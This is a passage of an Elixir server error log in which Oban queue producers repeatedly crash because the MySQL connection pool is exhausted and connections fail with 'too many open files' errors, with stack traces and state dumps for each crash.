State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:51:14.239292Z], limit: 20, uuid: "bdfee3ed-a3c9-4ab7-a9d1-7d0a0bc1e636", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:14.239301Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.6008>, refresh_timer: #Reference<0.2525715032.1077673987.5955>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1038ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:51:14.241350Z], limit: 3, uuid: "7db774e2-2ecc-439d-bb06-e2e367e72835", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:14.241357Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.33720>, refresh_timer: #Reference<0.2525715032.1121189889.141192>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1033ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:51:14.242514Z], limit: 10, uuid: "ea60cc5f-d154-4029-839d-811c69c42a0c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:14.242521Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.6009>, refresh_timer: #Reference<0.2525715032.1077673987.5998>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 883ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:51:14.242551Z], limit: 50, uuid: "d1c9af5f-65fc-4476-9383-c44e5fbe5c1e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:14.242558Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.6011>, refresh_timer: #Reference<0.2525715032.1099431938.34866>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1041ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:51:14.240627Z], limit: 5, uuid: "441457aa-718c-4b42-91bf-a729c071a2c8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:14.240632Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.33719>, refresh_timer: #Reference<0.2525715032.1068498948.33698>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 849ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:51:14.239888Z], limit: 5, uuid: "0f9f9a8e-663d-4056-8546-df16a62445f8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:14.239895Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.6010>, refresh_timer: #Reference<0.2525715032.1077673987.5967>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:27.342000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:30.804000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:32.173000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:32.765000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:38.073000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1072ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:51:26.238827Z], limit: 20, uuid: "6682ee54-5b02-48d4-96c3-b2682d2d9228", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:26.238834Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.34986>, refresh_timer: #Reference<0.2525715032.1099431938.34977>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1031ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:51:26.239297Z], limit: 5, uuid: "5737ed00-3a60-4b11-b228-9db11f76fbe8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:26.239302Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.34987>, refresh_timer: #Reference<0.2525715032.1077673987.6321>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 811ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:51:26.239802Z], limit: 10, uuid: "15b69d20-48fe-46fd-9dec-e3d496f5b55d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:26.239808Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.6349>, refresh_timer: #Reference<0.2525715032.1068498948.33743>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1049ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
